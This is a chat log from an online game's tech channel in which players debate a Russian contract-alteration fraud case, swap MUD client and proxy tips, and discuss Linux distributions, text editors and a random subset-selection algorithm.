T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Simple fix, aside from changing the contracts law to include meeting of minds - don't send out unsigned contracts. Send out signed contracts 'subject to approval'.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: aweyn: it's NOT common for changes to be written over a contract in such a way that they're totally undetectable by looking at the contract
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Zade's got a good point.  While I don't think inconvenience to banks' daily works should affect a legal case.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They are detectable, by reading it.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: they did read it...when they wrote it
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: they are detectable, by just running it through system
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: A contract isn't a visual thing. All it is is the words written on it. To rely on visual cues is folly.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: every bank has scanners 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: ..ques?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Well that was dumb, you read a contract before you sign it, not some other time.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: since he was fraudulantly representing it as their standard document, reading it would be a formality
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Ylar Tech: That's why you don't USE whiteout on contracts.  Or I suppose I don't, at any rate.  I cross out sections not desired, initial & date.  And attach addendums and so such.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: You nod at Ylar.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: that's standard contract practice
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The fact that it is a good practice doesn't make it a legal requirement
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Well, if it was proper practise, there would be little case and they'd probably alreay be done with it.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: 'proper' as in lawful
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Ylar Tech: Or, if it's truly digital (in the case of passing a document back and forth for revision prior to printing/signing), you enable change tracking, to make it obvious what has been modified.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: if there was case, bank wouldnt have lost in first court
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Ylar Tech: And by whom.  And when.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: that contract was probably plain printout - I mean ordinary paper with no logos, trademarks, watermarks
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Zade Tech: the intent was to defraud the bank, since the bank 'd never sign that misrepresented document 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: trachx: it had logos and trademarks, no watermark
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: exactly zade. yet it agreed to it
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: thus, it's legal document of banks agreement
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: I think he may win the case, but that banks might implemt a contract contract, saying that changes can't be made unless they are declared to the bank and the bank confirms them, or the changes are void.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: well, with logos and trademarks (graphical) it will be considered as fraud
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: nuanse: if intent is to defraud (which you just agreed), then it's fraud ;-)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Zade Tech: also in a proper contract, both sides must benefit -- how did nthe bank benefit (by being defrauded)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Trachx Tech: well, both sides must benefit? nice requirement
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: I dunno what the contract said, but as long as it wasn't "You'll give me a bunch of interest-free money" it would have benefitted the bank, sort of. 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: this was basically one of those boilerplate "you're eligible for a CC" mailers, not that he was going into a bank and hashing out contracts with them
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: and it never would've gone to a teller, but merely to a mail processor monkey
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: There's lots of phone contracts and the like that benefit  the supplier a lot more than you. The 'benefit' is decided by the parties, by agreeing to the contract.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: and the bank "signed it" merely by mailing out a card when the monkey typed in his name
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Well having your party sign every contract by getting a guy to indiscriminately sign everything in front of him is the epitome of poor practice.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: everything that comes in front of you on your letterhead and prepared by your boss...
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is apparently going to come down to a clause in the Russian fraud laws that goes something like "Infliction of losses by means of deceit" - and will then come down to whether it was actually deceitful to change the contract.  I don't speak Russian, but it seems like changing it pre-signing isn't considered deceitful.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: No one should be signing anything on behalf of anyone without reading it.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: that's because you don't comprehend contract deceit, given your statements already :P
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: it wasn't signed
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: It's debatable whether he even intended to decieve the bank at all, remember. 
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: no it isn't...not validly debatable
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Abelinc, I'm quite well versed on contract laws, though admittedly not Russian ones.  It isn't deceitful in any country with a meeting of minds clause, and is in fact quite culturally dependent.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: it's only as debatable as a Kojiro "I'm not trying to screw things" comment
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Google translate is getting a lot better at Russian :-) I remember trying to look at the old Stalker games dev sites and wondering what the gibberish meant.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: It's entirely possible that he just wanted to submit a change, since he wasn't happy with the old one, and expected the bank to read his changes.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: by hiding them by photoshopping the bank's own document...
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It could easily be argued that he assumed it would be read before signing, and expecting it to be rejected - when it was not, he figured the bank was ok with it.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: if he wanted to submit changes, then he'd write in the margins, not doctor it
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Facebook has Bing translate built in. The Japanese is so incomprehensible thattech Why?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: oops.. "Why"
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you want your argument to hold water, you really need to avoid dare I say 'deceitful' implications like 'photoshopping' - he edited text, it is not at all what you are implying.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: I'm just on a term emulator ^^;
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: vakieh: no, he edited graphics, not text
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Text is graphics. Around 60 little pictures that make words..
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: He didn't modify any of the logos, he only modified the text. It doesn't matter what format it was in at any point in that process, it began and ended clearly readable text.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: and ppuctuation*
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: what he did was LITERALLY photoshop it...not "my word"...it's what he did
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If I run a scanned document through OCR and then fix typos, or blank out a passage and type in a new paragraph, that is word processing, not photoshopping.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: that's not what he did, though
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes, it is. He blanked out passages and inserted his own.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There was zero image modification, all logos and letterheads remained static
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Zade Tech: deliberately submitting a contract (imitating the bank contract) designed to cause the bank grievous financial loss seems indicative of intent to defraud
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: you inserted some steps
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: I'd just like to point out that this conversation is beginning to stop going anywhere.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you begin with text, and finish with text, then what you did was word processing, not photoshopping.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: not correct
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: and he didn't end with text
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: The result is the same, which is what matters.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: It's not like the bank would care what program he used.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The logo and letterhead didn't change. Only the text did. Therefore it was word processing
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: your "therefore" is incorrect...and in fact your premise agrees with my statement
T3/r7/2013-08-10.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Mind taking this to debate?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: the logos and letterhead didn't change, which shows intent to present the document as their own rather than his "counterproposal"
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: which also shows that bank doesnt ever read what they sign...yet again
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: it's their own document, they know what it says
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: did they?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: which was the point of the fraud
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is debatable, Abelinc, and as I said before the basis for the upcoming case - did he simply edit the document as given (i.e. 'Why would I change the logo, it's already set out this way') or did he deliberately do it such that they would just agree with it.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: actually in russia you must know what you sign. in usa it might be different (hardly with snowden and all)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: it's not successfully debatable
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: I agree that this should be taken to debate
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Says you - that is up to the courts to decide
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Or ended entirely, perhaps.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yep.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: USA has the meeting of minds clause - this would become null and void as soon as it was discovered in the US
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Zade Tech: the extent of the changes is what also determines the intent to defraud
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Nuanse Tech: vakieh, usa has also no spying on own citizens but yet, they do it. this actually doesnt become null as it gives information on every USA citizen there is ...without court
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: and he would be prosecuted for fraud in the US, as he would/will be in russia, although tbh it may not be worth it given the amounts actually impacted
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: his contract attempted to impose penalties which make the amounts significant, but the real amounts that had been on the card are just hundreds of dollars
T3/r7/2013-08-10.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have been reading up on gmcp in mush, but i want to use it in a trigger rather then a plugin, is that possible?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: .
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Aweyn Tech: Is MCCP compression possible in just a plain terminal emu?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: if someone writes zlib libraries into it, or if you run through an mccp proxy
T3/r7/2013-08-10.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i think duckbat has an mccp proxy right?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: my method of connecting to Aard is that I use an SSH client to connect to a computer running a real MUD client
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: duckbat has a GMCP proxy (it does mccp as well)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: arkanes has a Windows GUI mccp proxy
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: and there are mccp proxies linked on aard's website "MUD resources/clients" page
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: nod, like for car, bike, marine and truck batteries, there's a couple sizes and terminal placements but they're pretty standard
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: mis
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: heh, this computer had firefox v3.1.6 on it...doing an update on it updated to 3.1.12, and is keeping doing incremental updates...I'm now up to v12 after 5 updates
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: what is a good free screen recording program that doesnt leave any watermarks?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: press print screen a lot and then create an animated gif.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Seriously though, I like Camstudio.  It's freeware, open source, and works rather good.  There are some issues with it, but it's pretty solid for most casual needs.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i tried, it had some dll missing.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: trying the ms expression
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Did you try downloading the DLL individually and putting it in the sys32 folder?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: of course not!
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: that makes me a desperate geek
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: heh
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i try that later when MS has failed.. like it always does. in everything. except hosting mush
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Yeah, I wasn't impressed with expressions.  You'll probably get fed up with it rather quickly.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Like most MS stuff, lots of fluff and UI, not a lot of actually utility.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yep. MS often has weird ideaz with UI and how things should work
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: They tend to involve the mouse too much.  But they're catering to people without much tech ability, so it's often a fair choice given their demographic.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: More visuals, less deep menus and customization. Less overal power and utility.  The eternal trade-off.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: btw. after this last sentence i discovered i had been on a quest... my fingers reacted to sound triggers and the memory didn't record. im a bot
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: I suspected as much.  You kinda failed the Turing test.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I have no idea what you guys are talking about anymore..
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: technical stuff. you wouldn't understand
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Thanks.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yea. this channel is for megageniuses only
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: then what're you guys doing here? :-)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: c'mon, you could do better than that, Abelinc:) u tired?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Confounded CeriQ Tech: Maybe he's just the bigger man in this discussion?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: I don't know, the retro application of "I know you are but what am I" is a nice historical reference.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Tech: in more ways than one, amirite?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Not as pithy as "no u!" but well considered in a 1970s context.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i dont know, when did yOU do your las tutorial? cause im about to do one. ha!
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Mohan Tech: anyone knows what this means: Trigger function "invmon" not found or had a previous error.
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Bast Tech: type "plugins reload eqdb"
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Mohan Tech: it says: Unloaded plugin aaa7dc9ed92ffc6146964abc (xBroadcast_Inventory)
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Bast Tech: ok, is the error gone?
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Mohan Tech: let me see
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Mohan Tech: nods, thanks a lot
T3/r7/2013-08-10.txt.gz:{chan ch=tech}Bast Tech: mars
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: I've got Ubuntu 1204 installed on my spare computer, with xfce (naturally). Do you guys think I should install Mint 15 xfce and install unity on that, if I want it, or just leave it? Looking for opinions. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: I installed Mint Debian Edition (LMDE) with the mate window manager. I kind of like it. Unity is terrible imho, to much bling.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: I also think ubuntu is going down the wrong path, so that's why I dropped it. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: Just something different, I supposed. And you can't really deny that it looks really polished. Ubuntu's becoming more of a centralise commercial entity, which may or may not be good for linux on the whole, but is very likely bad for ubuntu. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: Anyway, what would be in new Mint that's better or not in lts ubuntu?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: LMDE is not based on ubuntu, it's based on debian testing, that's why I chose it. I would not recommend mint based on ubuntu, that seems like a idea for disaster, imo.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: It's forked quite a lot lately, though. What desktop environment comes with DE?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: LMDE seems to me to be in the same place as ubuntu was 6-7 years ago. Just a nice desktop environment, that simply works.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: Which one, in particular?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: They have a couple to select from, I chose Mate, because it was a fork of gnome 2 and looked nice :D
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: You can get pretty much any DE you want, it's debian.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: And they have rolling releases in LMDE, so no more upgrade pain like in ubuntu.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: Oh, that was a bit of silly question. The distro often comes with software that goes well with default DE, and in Mint's case, they customise it a lot. I'd like not to change, if possible, is all.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: That too, though
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: Right. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: Not sure how well the rolling releases work in practice, only had my new computer a couple weeks.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: Conversely, I've never used an upgrade system like ubuntu's long enough to matter. I recently upgraded my Arch box, and that seemed fairly painless. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: What distro would you recommend for a fairly tech-illiterate Windows user?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: I've done ubuntu from 7.10 to 12.04. Worked well, most of the time.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: I would recommend getting a Mac. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Loreli Tech: I just downloaded ubuntu 13.04 on my macbook pro. I can't stand unity though. So I'm going to try gnome 3 over basic ubuntu, or arch linux.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Loreli Tech: I'm a MacOS transplant, if it isn't clear. :)
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: I really meant an option that wouldn't unnecessarily over charge a huge amount on hardware. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: Probably ubuntu then.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: Gnome 3 is often said to be just as bad as Unity. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: I assume I'll be using xfce forever. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: Maybe I should just go back to ctwm. 
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Loreli Tech: I hope that isn't true, but we'll see I guess! lol
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: I mostly just use a full size terminal with tmux in it anyway.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Loreli Tech: I've been using tmux a bunch lately, no doubt thanks to aardwolf. I'm going to venture into emacs land next. oooOoOOo. lol
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: I prefer vim myself, but emacs is popular too....
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: Since it looks like Ubuntu is going off this computer one way or another, I'll try out Gnome 3. I've been using blackbox4win on my windows install, so I might look into a wm like that too.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Loreli Tech: I keep trying vim over the years
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Loreli Tech: just can't get a handle on it. I use nano mostly. lol
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Gaelehad Tech: i like vim or gvim for the ease of searching
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: It probably took me a couple months to get comfortable with vi(m). But that was over 20 years ago, so now I cannot use anything else.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Gaelehad Tech: but yes it does take a bit of getting used to
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: I'm a little confused with vim and emacs. I've never used either, but I understand that they're text editors, but sometimes it seems as if people talk about them as entire software packages, or operating systems.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: What's up with that?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: They are both extremely configurable, so you can set them up to be (almost) a full IDE, for example.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Loreli Tech: They have a lot of functionality. People make all kinds of things for them. They have games, and an organizer, and spreadsheets of sorts, etc.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Loreli Tech: I think they may be able to do email? I can't remember exactly.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Tech: Loreli is agreeing with that Ranrr person again...
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Ranrr Tech: You can do pretty much anything with them, since they have scripting abilities. A lot of the stuff done is just silly, some is useful. Personally, I prefer to have my software do 1 thing and do it good, so I just use my editor as an editor.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Aweyn Tech: Does anyone know if you can restore Linux Mint's Xfce to the stardard non-skinned one?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i installed Peis plugin. it has some issues so i removed the plugins. now i cant even login with mush - it sends "sendgmcp request char" to to login screen every second. meh?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hi i have a math or programming question whichever way you look at it. i have a group of values let's call this group A and it has about 1000 values. i need to select X amount of values from group A Y times where all the values chosen are as diverse as possible (not repeated) so each new selected group is as different from others as possible, is there any algorithm or way i could achieve this?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: they may repeat because of the amount of times i need to select the values but i still want the selected groups to be as different as possible from each other
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Turie Tech: This sounds like a random stats selection.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Gaelehad Tech: prime numbers might help
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Mye Tech: randomly order the array and take the first X values from it?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Do you want them to just 'be very different', or do you actually want the mathematically-sound 'maximum difference'?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: maximum is not necessary, only very different will be enough
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also, do you weight difference based on distance? i.e. 1 is definitely not 2, but is it more like 2 than 10?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: no the value itself is not important
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: basically the value is a class instance
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Mye Tech: let L be the length of array, choose X*Y mod L values randomly from the array, create a new array by duplicating the original array enough times to fill X*Y slots, adding the randomly chosen values to the end of it.. now randomize that array and choose the Y groups of  X values
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hopefully last question, does the diversification matter inside the selection, between 2 selections, or both
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i make a lot of selections (20+) and it needs to be diverse in those 20
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: so i don't pick similar groups because it would be a waste of resources
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Do you expect duplicate values in the original set?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: no all values are distinct, but it's allowed to have duplicate values in different selections
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sounds to me like the best implementation sets up a parallel set of data, which assigns a selection count to each individual item. Increment that selection field each time it gets selected, and do your selection randomly from the lowest selection counts
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hmm yea i thought of that as well but i'm not sure that will be completely random when done multiple times, maybe it will work
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So say you have 10 items. Set up a matching array of 10 ints init to 0. Each time you select i.e. 4, you add 1. Next time, you begin with a set of 6 at 0, and you select out of those only.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 3rd iteration, you select the final 2, then a random 2 from the already-selected 8
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Trachx Tech: if you want random you cannot speak about difference between sets
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Trachx Tech: as in case all picked sets are identical they still can be random
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It isn't 'pure' random, it's just not static. The more base data points you have and the fewer data points in a single selection, the more 'random' it will be
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hmm maybe you are right
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: i.e. if you have 10 data points and you select 10 of them, you have 1 possible result each time. 10 points and select 9 and you have 10 possible first selections
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Trachx Tech: simplest random is just use any random function and remove element after you have chosen it to be in set, then repeat till you have set
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It sounded like he would need to use each data point more than once
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Trachx Tech: so Vakieh's pick from least used items is not random, but should give different sets
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: My pick from least used is the same as your remove idea Trachx, it just extrapolates it over multiple uses of the data
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you never reach 100% coverage you never use the weights, the set to 1 effectively 'removes' it from consideration
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Only if you select more data than you have will it cross over into 2nd selection
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you have 100 data points and you select 20x5 groups, you never repeat a unit, and it 100% identical to the method you described
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hmm ok, thanks for answers
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Trachx Tech: anyway, what for you need such sets? for semi-random you could use LFSR and just pick different start condition for each set
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sounds like a test suite to me
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or perhaps the world's most complicated blind update scheduler :-P
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: it's a statistics thing, not sure how to explain
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: generating data for as many unique interactions as possible?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hah i don't know what that means, i'm not good with math or the complicated words you use :D
T3/r7/2013-08-11.txt.gz:{chan ch=tech}Bochner Tech: how do you change the mapper to room locations instead of the world map?
T3/r7/2013-08-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What's it in an area should just switch? If you are talking mushclient clickable mapper.
T3/r7/2013-08-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: When it is in an area...
